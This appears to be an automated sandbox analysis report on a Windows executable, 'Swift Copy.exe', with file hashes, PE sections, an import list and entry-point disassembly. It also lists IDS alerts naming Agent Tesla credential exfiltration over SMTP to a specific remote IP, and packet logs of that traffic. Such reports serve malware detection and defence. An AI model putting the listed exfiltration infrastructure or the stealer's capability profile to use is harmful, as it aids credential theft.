Preview:	3{88;ehf;4hfff353333898:e;9e33333399;<78;7e<9833333399;<7g;9ed:533333399;<88;;e;9h33333399;<78;de<9833333399;<7g;fed9f33333399;<88;he;6633333399;<78<3e<6533333399;<7g<5ed5h33333399;<88<7e;9733333399;<78<9e<9f33333399;<7g<;ed9f33333399;<88<d66f399;<78<fe<9h33333399;<;g77iiiiiied:733333399;<<879iiiiiie;9733333399;<;87;iiiiiie<9f33333399;<;g7diiiiiied9f33333399;<<87fiiiiiie;5h33333399;<;87hiiiiiie<9733333399;<;g83iiiiiied9f33333399;<<885iiiiiie;9f33333399;<;887iiiiii66f<99;<;g89iiiiiied:833333399;<88g3e;:633333399;<78g5e<9833333399;<7gg7ed:533333399;<88g9e;6633333399;<78g;e<6533333399;<7ggded5h33333399;<88gfe;9733333399;<78ghe<9f33333399;<7gh3ed9f33333399;<88h566f399;<78h7e<9433333399;<;g9;iiiiiied9733333399;<<89diiiiiie;:933333399;<;89fiiiiiie<9433333399;<;g9hiiiiiied:333333399;<<8:3iiiiiie;9<33333399;<;8:5iiiiiie<6633333399;<;g:7iiiiiied6533333399;<<8:9iiiiiie;5h33333399;<;8:;iiiiiie<9733333399;<;g:diiiiiied9f33333399;<<8:fiiiiiie;9f33333399;<;8:hiiiiii66f<99;<7g;3ed:633333399;<88d3e;9;

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.842669417324991
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Swift Copy.exe
File size:	1'294'336 bytes
MD5:	2ad0a14a883597c8707276c3002d85da
SHA1:	5840f94ca6dc35f3e48f7e0586e3a9724fb566d0
SHA256:	c7dc84187ebfc4521a3fe173e5b59850c753251a1a935b294c0a6fb63d6c9315
SHA512:	2c05d6c33359ae405479a6ca9b8019fc885f8c1f16e4a658f809b586336e20fc5c9dc1ac6f2ab4fbd2703a3be2716c510f26335e2a806e933dc2ef265761c288
SSDEEP:	24576:NqDEvCTbMWu7rQYlBQcBiT6rprG8ajYRRFPpDsb/5bxD17Ofd:NTvC/MTQYxsWR7ajYRRJpDsTVxD17Of
TLSH:	AC55590323BDC0E2FE9EBD720A56A31146786D160132E51FD25F3DE9E973163C6296E2
File Content Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......................j:......j:..C...j:......@.*...............................n.......~.............{.......{.......{.........z....

File Icon


Icon Hash:	07d8d8d4d4d85026

Static PE Info

General

Entrypoint:	0x420577
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66A237C7 [Thu Jul 25 11:32:23 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	948cc502fe9226992dce9417f952fce3

Entrypoint Preview

Instruction
call 00007F4A68B25163h
jmp 00007F4A68B24A6Fh
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F4A68B24C4Dh
mov dword ptr [esi], 0049FDF0h
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FDF8h
mov dword ptr [ecx], 0049FDF0h
ret
push ebp
mov ebp, esp
push esi
push dword ptr [ebp+08h]
mov esi, ecx
call 00007F4A68B24C1Ah
mov dword ptr [esi], 0049FE0Ch
mov eax, esi
pop esi
pop ebp
retn 0004h
and dword ptr [ecx+04h], 00000000h
mov eax, ecx
and dword ptr [ecx+08h], 00000000h
mov dword ptr [ecx+04h], 0049FE14h
mov dword ptr [ecx], 0049FE0Ch
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
and dword ptr [eax], 00000000h
and dword ptr [eax+04h], 00000000h
push eax
mov eax, dword ptr [ebp+08h]
add eax, 04h
push eax
call 00007F4A68B2780Dh
pop ecx
pop ecx
mov eax, esi
pop esi
pop ebp
retn 0004h
lea eax, dword ptr [ecx+04h]
mov dword ptr [ecx], 0049FDD0h
push eax
call 00007F4A68B27858h
pop ecx
ret
push ebp
mov ebp, esp
push esi
mov esi, ecx
lea eax, dword ptr [esi+04h]
mov dword ptr [esi], 0049FDD0h
push eax
call 00007F4A68B27841h
test byte ptr [ebp+08h], 00000001h
pop ecx

Rich Headers

Programming Language:

[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0xc8e64	0x17c	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xd4000	0x655a0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x13a000	0x7594	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0xb0ff0	0x1c	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0xc3400	0x18	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0xb1010	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x9c000	0x894	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x9ab1d	0x9ac00	0a1473f3064dcbc32ef93c5c8a90f3a6	False	0.565500681542811	data	6.668273581389308	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x9c000	0x2fb82	0x2fc00	c9cf2468b60bf4f80f136ed54b3989fb	False	0.35289185209424084	data	5.691811547483722	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xcc000	0x706c	0x4800	53b9025d545d65e23295e30afdbd16d9	False	0.04356553819444445	DOS executable (block device driver @\273\)	0.5846666986982398	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0xd4000	0x655a0	0x65600	be3fe9117d75d2aeb01765f329d88f3a	False	0.6000428676017263	data	6.690395362291765	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x13a000	0x7594	0x7600	c68ee8931a32d45eb82dc450ee40efc3	False	0.7628111758474576	data	6.7972128181359786	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0xd45d8	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.7466216216216216
RT_ICON	0xd4700	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 128, 16 important colors	English	Great Britain	0.3277027027027027
RT_ICON	0xd4828	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 192	English	Great Britain	0.3885135135135135
RT_ICON	0xd4950	0xc35	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced	English	Great Britain	0.87456
RT_ICON	0xd5588	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 67584	English	Great Britain	0.023852478410031942
RT_ICON	0xe5db0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 38016	English	Great Britain	0.019261088921589238
RT_ICON	0xef258	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 21600	English	Great Britain	0.03022181146025878
RT_ICON	0xf46e0	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16896	English	Great Britain	0.029168634860651865
RT_ICON	0xf8908	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9600	English	Great Britain	0.03973029045643153
RT_ICON	0xfaeb0	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 4224	English	Great Britain	0.06941838649155722
RT_ICON	0xfbf58	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 2400	English	Great Britain	0.1168032786885246
RT_ICON	0xfc8e0	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 1088	English	Great Britain	0.16932624113475178
RT_MENU	0xfcd48	0x50	data	English	Great Britain	0.9
RT_STRING	0xfcd98	0x594	data	English	Great Britain	0.3333333333333333
RT_STRING	0xfd32c	0x68a	data	English	Great Britain	0.2735961768219833
RT_STRING	0xfd9b8	0x490	data	English	Great Britain	0.3715753424657534
RT_STRING	0xfde48	0x5fc	data	English	Great Britain	0.3087467362924282
RT_STRING	0xfe444	0x65c	data	English	Great Britain	0.34336609336609336
RT_STRING	0xfeaa0	0x466	data	English	Great Britain	0.3605683836589698
RT_STRING	0xfef08	0x158	Matlab v4 mat-file (little endian) n, numeric, rows 0, columns 0	English	Great Britain	0.502906976744186
RT_RCDATA	0xff060	0x39fb2	data			1.0003410669922943
RT_GROUP_ICON	0x139014	0x84	data	English	Great Britain	0.7272727272727273
RT_GROUP_ICON	0x139098	0x14	data	English	Great Britain	1.25
RT_GROUP_ICON	0x1390ac	0x14	data	English	Great Britain	1.15
RT_GROUP_ICON	0x1390c0	0x14	data	English	Great Britain	1.25
RT_VERSION	0x1390d4	0xdc	data	English	Great Britain	0.6181818181818182
RT_MANIFEST	0x1391b0	0x3ef	ASCII text, with CRLF line terminators	English	Great Britain	0.5074478649453823

Imports

DLL	Import
WSOCK32.dll	gethostbyname, recv, send, socket, inet_ntoa, setsockopt, ntohs, WSACleanup, WSAStartup, sendto, htons, __WSAFDIsSet, select, accept, listen, bind, inet_addr, ioctlsocket, recvfrom, WSAGetLastError, closesocket, gethostname, connect
VERSION.dll	GetFileVersionInfoW, VerQueryValueW, GetFileVersionInfoSizeW
WINMM.dll	timeGetTime, waveOutSetVolume, mciSendStringW
COMCTL32.dll	ImageList_ReplaceIcon, ImageList_Destroy, ImageList_Remove, ImageList_SetDragCursorImage, ImageList_BeginDrag, ImageList_DragEnter, ImageList_DragLeave, ImageList_EndDrag, ImageList_DragMove, InitCommonControlsEx, ImageList_Create
MPR.dll	WNetGetConnectionW, WNetCancelConnection2W, WNetUseConnectionW, WNetAddConnection2W
WININET.dll	HttpOpenRequestW, InternetCloseHandle, InternetOpenW, InternetSetOptionW, InternetCrackUrlW, HttpQueryInfoW, InternetQueryOptionW, InternetConnectW, HttpSendRequestW, FtpOpenFileW, FtpGetFileSize, InternetOpenUrlW, InternetReadFile, InternetQueryDataAvailable
PSAPI.DLL	GetProcessMemoryInfo
IPHLPAPI.DLL	IcmpSendEcho, IcmpCloseHandle, IcmpCreateFile
USERENV.dll	DestroyEnvironmentBlock, LoadUserProfileW, CreateEnvironmentBlock, UnloadUserProfile
UxTheme.dll	IsThemeActive
KERNEL32.dll	DuplicateHandle, CreateThread, WaitForSingleObject, HeapAlloc, GetProcessHeap, HeapFree, Sleep, GetCurrentThreadId, MultiByteToWideChar, MulDiv, GetVersionExW, IsWow64Process, GetSystemInfo, FreeLibrary, LoadLibraryA, GetProcAddress, SetErrorMode, GetModuleFileNameW, WideCharToMultiByte, lstrcpyW, lstrlenW, GetModuleHandleW, QueryPerformanceCounter, VirtualFreeEx, OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateFileW, SetFilePointerEx, SetEndOfFile, ReadFile, WriteFile, FlushFileBuffers, TerminateProcess, CreateToolhelp32Snapshot, Process32FirstW, Process32NextW, SetFileTime, GetFileAttributesW, FindFirstFileW, FindClose, GetLongPathNameW, GetShortPathNameW, DeleteFileW, IsDebuggerPresent, CopyFileExW, MoveFileW, CreateDirectoryW, RemoveDirectoryW, SetSystemPowerState, QueryPerformanceFrequency, LoadResource, LockResource, SizeofResource, OutputDebugStringW, GetTempPathW, GetTempFileNameW, DeviceIoControl, LoadLibraryW, GetLocalTime, CompareStringW, GetCurrentThread, EnterCriticalSection, LeaveCriticalSection, GetStdHandle, CreatePipe, InterlockedExchange, TerminateThread, LoadLibraryExW, FindResourceExW, CopyFileW, VirtualFree, FormatMessageW, GetExitCodeProcess, GetPrivateProfileStringW, WritePrivateProfileStringW, GetPrivateProfileSectionW, WritePrivateProfileSectionW, GetPrivateProfileSectionNamesW, FileTimeToLocalFileTime, FileTimeToSystemTime, SystemTimeToFileTime, LocalFileTimeToFileTime, GetDriveTypeW, GetDiskFreeSpaceExW, GetDiskFreeSpaceW, GetVolumeInformationW, SetVolumeLabelW, CreateHardLinkW, SetFileAttributesW, CreateEventW, SetEvent, GetEnvironmentVariableW, SetEnvironmentVariableW, GlobalLock, GlobalUnlock, GlobalAlloc, GetFileSize, GlobalFree, GlobalMemoryStatusEx, Beep, GetSystemDirectoryW, HeapReAlloc, HeapSize, GetComputerNameW, GetWindowsDirectoryW, GetCurrentProcessId, GetProcessIoCounters, CreateProcessW, GetProcessId, SetPriorityClass, VirtualAlloc, GetCurrentDirectoryW, lstrcmpiW, DecodePointer, GetLastError, RaiseException, InitializeCriticalSectionAndSpinCount, DeleteCriticalSection, InterlockedDecrement, InterlockedIncrement, ResetEvent, WaitForSingleObjectEx, IsProcessorFeaturePresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetCurrentProcess, CloseHandle, GetFullPathNameW, GetStartupInfoW, GetSystemTimeAsFileTime, InitializeSListHead, RtlUnwind, SetLastError, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, EncodePointer, ExitProcess, GetModuleHandleExW, ExitThread, ResumeThread, FreeLibraryAndExitThread, GetACP, GetDateFormatW, GetTimeFormatW, LCMapStringW, GetStringTypeW, GetFileType, SetStdHandle, GetConsoleCP, GetConsoleMode, ReadConsoleW, GetTimeZoneInformation, FindFirstFileExW, IsValidCodePage, GetOEMCP, GetCPInfo, GetCommandLineA, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, SetEnvironmentVariableA, SetCurrentDirectoryW, FindNextFileW, WriteConsoleW
USER32.dll	GetKeyboardLayoutNameW, IsCharAlphaW, IsCharAlphaNumericW, IsCharLowerW, IsCharUpperW, GetMenuStringW, GetSubMenu, GetCaretPos, IsZoomed, GetMonitorInfoW, SetWindowLongW, SetLayeredWindowAttributes, FlashWindow, GetClassLongW, TranslateAcceleratorW, IsDialogMessageW, GetSysColor, InflateRect, DrawFocusRect, DrawTextW, FrameRect, DrawFrameControl, FillRect, PtInRect, DestroyAcceleratorTable, CreateAcceleratorTableW, SetCursor, GetWindowDC, GetSystemMetrics, GetActiveWindow, CharNextW, wsprintfW, RedrawWindow, DrawMenuBar, DestroyMenu, SetMenu, GetWindowTextLengthW, CreateMenu, IsDlgButtonChecked, DefDlgProcW, CallWindowProcW, ReleaseCapture, SetCapture, PeekMessageW, GetInputState, UnregisterHotKey, CharLowerBuffW, MonitorFromPoint, MonitorFromRect, LoadImageW, mouse_event, ExitWindowsEx, SetActiveWindow, FindWindowExW, EnumThreadWindows, SetMenuDefaultItem, InsertMenuItemW, IsMenu, ClientToScreen, GetCursorPos, DeleteMenu, CheckMenuRadioItem, GetMenuItemID, GetMenuItemCount, SetMenuItemInfoW, GetMenuItemInfoW, SetForegroundWindow, IsIconic, FindWindowW, SystemParametersInfoW, LockWindowUpdate, SendInput, GetAsyncKeyState, SetKeyboardState, GetKeyboardState, GetKeyState, VkKeyScanW, LoadStringW, DialogBoxParamW, MessageBeep, EndDialog, SendDlgItemMessageW, GetDlgItem, SetWindowTextW, CopyRect, ReleaseDC, GetDC, EndPaint, BeginPaint, GetClientRect, GetMenu, DestroyWindow, EnumWindows, GetDesktopWindow, IsWindow, IsWindowEnabled, IsWindowVisible, EnableWindow, InvalidateRect, GetWindowLongW, GetWindowThreadProcessId, AttachThreadInput, GetFocus, GetWindowTextW, SendMessageTimeoutW, EnumChildWindows, CharUpperBuffW, GetClassNameW, GetParent, GetDlgCtrlID, SendMessageW, MapVirtualKeyW, PostMessageW, GetWindowRect, SetUserObjectSecurity, CloseDesktop, CloseWindowStation, OpenDesktopW, RegisterHotKey, GetCursorInfo, SetWindowPos, CopyImage, AdjustWindowRectEx, SetRect, SetClipboardData, EmptyClipboard, CountClipboardFormats, CloseClipboard, GetClipboardData, IsClipboardFormatAvailable, OpenClipboard, BlockInput, TrackPopupMenuEx, GetMessageW, SetProcessWindowStation, GetProcessWindowStation, OpenWindowStationW, GetUserObjectSecurity, MessageBoxW, DefWindowProcW, MoveWindow, SetFocus, PostQuitMessage, KillTimer, CreatePopupMenu, RegisterWindowMessageW, SetTimer, ShowWindow, CreateWindowExW, RegisterClassExW, LoadIconW, LoadCursorW, GetSysColorBrush, GetForegroundWindow, MessageBoxA, DestroyIcon, DispatchMessageW, keybd_event, TranslateMessage, ScreenToClient
GDI32.dll	EndPath, DeleteObject, GetTextExtentPoint32W, ExtCreatePen, StrokeAndFillPath, GetDeviceCaps, SetPixel, CloseFigure, LineTo, AngleArc, MoveToEx, Ellipse, CreateCompatibleBitmap, CreateCompatibleDC, PolyDraw, BeginPath, Rectangle, SetViewportOrgEx, GetObjectW, SetBkMode, RoundRect, SetBkColor, CreatePen, SelectObject, StretchBlt, CreateSolidBrush, SetTextColor, CreateFontW, GetTextFaceW, GetStockObject, CreateDCW, GetPixel, DeleteDC, GetDIBits, StrokePath
COMDLG32.dll	GetSaveFileNameW, GetOpenFileNameW
ADVAPI32.dll	GetAce, RegEnumValueW, RegDeleteValueW, RegDeleteKeyW, RegEnumKeyExW, RegSetValueExW, RegOpenKeyExW, RegCloseKey, RegQueryValueExW, RegConnectRegistryW, InitializeSecurityDescriptor, InitializeAcl, AdjustTokenPrivileges, OpenThreadToken, OpenProcessToken, LookupPrivilegeValueW, DuplicateTokenEx, CreateProcessAsUserW, CreateProcessWithLogonW, GetLengthSid, CopySid, LogonUserW, AllocateAndInitializeSid, CheckTokenMembership, FreeSid, GetTokenInformation, RegCreateKeyExW, GetSecurityDescriptorDacl, GetAclInformation, GetUserNameW, AddAce, SetSecurityDescriptorDacl, InitiateSystemShutdownExW
SHELL32.dll	DragFinish, DragQueryPoint, ShellExecuteExW, DragQueryFileW, SHEmptyRecycleBinW, SHGetPathFromIDListW, SHBrowseForFolderW, SHCreateShellItem, SHGetDesktopFolder, SHGetSpecialFolderLocation, SHGetFolderPathW, SHFileOperationW, ExtractIconExW, Shell_NotifyIconW, ShellExecuteW
ole32.dll	CoTaskMemAlloc, CoTaskMemFree, CLSIDFromString, ProgIDFromCLSID, CLSIDFromProgID, OleSetMenuDescriptor, MkParseDisplayName, OleSetContainedObject, CoCreateInstance, IIDFromString, StringFromGUID2, CreateStreamOnHGlobal, OleInitialize, OleUninitialize, CoInitialize, CoUninitialize, GetRunningObjectTable, CoGetInstanceFromFile, CoGetObject, CoInitializeSecurity, CoCreateInstanceEx, CoSetProxyBlanket
OLEAUT32.dll	CreateStdDispatch, CreateDispTypeInfo, UnRegisterTypeLib, UnRegisterTypeLibForUser, RegisterTypeLibForUser, RegisterTypeLib, LoadTypeLibEx, VariantCopyInd, SysReAllocString, SysFreeString, VariantChangeType, SafeArrayDestroyData, SafeArrayUnaccessData, SafeArrayAccessData, SafeArrayAllocData, SafeArrayAllocDescriptorEx, SafeArrayCreateVector, SysStringLen, QueryPathOfRegTypeLib, SysAllocString, VariantInit, VariantClear, DispCallFunc, VariantTimeToSystemTime, VarR8FromDec, SafeArrayGetVartype, SafeArrayDestroyDescriptor, VariantCopy, OleLoadPicture

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	Great Britain

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T15:12:33.296540+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49739	587	192.168.2.4	148.66.136.151
2024-07-26T15:14:13.755916+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49748	587	192.168.2.4	148.66.136.151
2024-07-26T15:11:56.171178+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49738	40.68.123.157	192.168.2.4
2024-07-26T15:11:17.788023+0200	TCP	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	443	49732	40.68.123.157	192.168.2.4
2024-07-26T15:12:30.761942+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49731	587	192.168.2.4	148.66.136.151
2024-07-26T15:11:04.562261+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49731	587	192.168.2.4	148.66.136.151
2024-07-26T15:13:30.681219+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49744	587	192.168.2.4	148.66.136.151
2024-07-26T15:13:01.501242+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49742	587	192.168.2.4	148.66.136.151
2024-07-26T15:14:51.697303+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49757	587	192.168.2.4	148.66.136.151
2024-07-26T15:13:30.674764+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49744	587	192.168.2.4	148.66.136.151
2024-07-26T15:14:33.795058+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49751	587	192.168.2.4	148.66.136.151
2024-07-26T15:14:51.690852+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49757	587	192.168.2.4	148.66.136.151
2024-07-26T15:14:33.786282+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49751	587	192.168.2.4	148.66.136.151
2024-07-26T15:14:13.749702+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49748	587	192.168.2.4	148.66.136.151
2024-07-26T15:12:33.303757+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49739	587	192.168.2.4	148.66.136.151
2024-07-26T15:13:47.556689+0200	TCP	2840032	ETPRO MALWARE Win32/AgentTesla/OriginLogger Data Exfil via SMTP M2	49746	587	192.168.2.4	148.66.136.151
2024-07-26T15:13:47.550653+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49746	587	192.168.2.4	148.66.136.151
2024-07-26T15:13:01.495219+0200	TCP	2855542	ETPRO MALWARE Agent Tesla CnC Exfil Activity	49742	587	192.168.2.4	148.66.136.151

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 26, 2024 15:10:59.271194935 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.271234989 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.271305084 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.281647921 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.281658888 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.760307074 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.760394096 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.764072895 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.764081001 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.764405012 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.814842939 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.834863901 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.876514912 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.944881916 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.945039034 CEST	443	49730	172.67.74.152	192.168.2.4
Jul 26, 2024 15:10:59.945105076 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:10:59.951812029 CEST	49730	443	192.168.2.4	172.67.74.152
Jul 26, 2024 15:11:00.438677073 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:00.443572998 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:00.443634033 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:02.128794909 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:02.129010916 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:02.134150028 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:02.544971943 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:02.546133995 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:02.550960064 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:03.053626060 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:03.053978920 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:03.058794022 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:03.455396891 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:03.455651999 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:03.461087942 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:03.806952953 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:03.807351112 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:03.814574957 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:04.206845045 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:04.207043886 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:04.212106943 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:04.561624050 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:04.562212944 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:04.562261105 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:04.562280893 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:04.562289953 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:11:04.567924976 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:04.567933083 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:04.567939997 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:04.567945957 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:12.274554968 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:11:12.330533028 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:30.201312065 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:30.202692986 CEST	49739	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:30.207778931 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:30.209851027 CEST	587	49739	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:30.209918976 CEST	49739	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:30.760234118 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:30.761941910 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:30.762605906 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:30.762653112 CEST	49731	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:30.767678022 CEST	587	49731	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:31.101262093 CEST	587	49739	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:31.102411032 CEST	49739	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:31.107467890 CEST	587	49739	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:31.466768980 CEST	587	49739	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:31.466912985 CEST	49739	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:31.472664118 CEST	587	49739	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:31.821348906 CEST	587	49739	148.66.136.151	192.168.2.4
Jul 26, 2024 15:12:31.821567059 CEST	49739	587	192.168.2.4	148.66.136.151
Jul 26, 2024 15:12:31.826491117 CEST	587	49739	148.66.136.151	192.168.2.4
